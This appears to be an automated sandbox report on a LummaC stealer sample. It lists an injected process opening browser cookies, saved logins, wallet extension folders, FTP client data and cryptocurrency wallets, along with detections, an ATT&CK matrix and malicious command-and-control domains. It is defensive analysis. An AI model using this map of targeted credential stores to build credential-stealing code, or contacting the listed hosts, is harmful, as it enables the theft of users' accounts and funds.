Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1983486359.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1982657253.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1983200877.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1983911161.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1981900349.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1982913303.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1983703963.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1996190492.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1982143036.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2676, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2676, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	311 Process Injection	311 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	31 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	46 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
HLZwUhcJ28.exe	50%	ReversingLabs	Win64.Trojan.LummaStealer
HLZwUhcJ28.exe	100%	Avira	TR/Redcap.dcvcm

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	100%	Avira	TR/Redcap.tpgxx
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	83%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Security-Common.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxProxyStub-x86.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libiconv-2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libidn2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libintl-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\qsqlite.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
http://www.valvesoftware.com/legal.htm	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://store.steampowered.com/points/shop/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://store.steampowered.com/about/	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://store.steampowered.com/news/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://store.steampowered.com/subscriber_agreement/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://recaptcha.net/recaptcha/;	0%	URL Reputation	safe
https://store.steampowered.com/stats/	0%	URL Reputation	safe
https://medal.tv	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
https://store.steampowered.com/steam_refunds/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	true	unknown
villagedguy.cyou	104.21.32.196	true	true	unknown
wrigglesight.sbs	unknown	unknown	true	unknown
ferrycheatyk.sbs	unknown	unknown	true	unknown
deepymouthi.sbs	unknown	unknown	true	unknown
monstourtu.sbs	unknown	unknown	true	unknown
captaitwik.sbs	unknown	unknown	true	unknown
snailyeductyi.sbs	unknown	unknown	true	unknown
heroicmint.sbs	unknown	unknown	true	unknown
sidercotay.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
wrigglesight.sbs	true	unknown
heroicmint.sbs	true	unknown
ferrycheatyk.sbs	true	unknown
https://steamcommunity.com/profiles/76561199724331900	true	unknown
deepymouthi.sbs	true	unknown
sidercotay.sbs	true	unknown
https://villagedguy.cyou/api	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
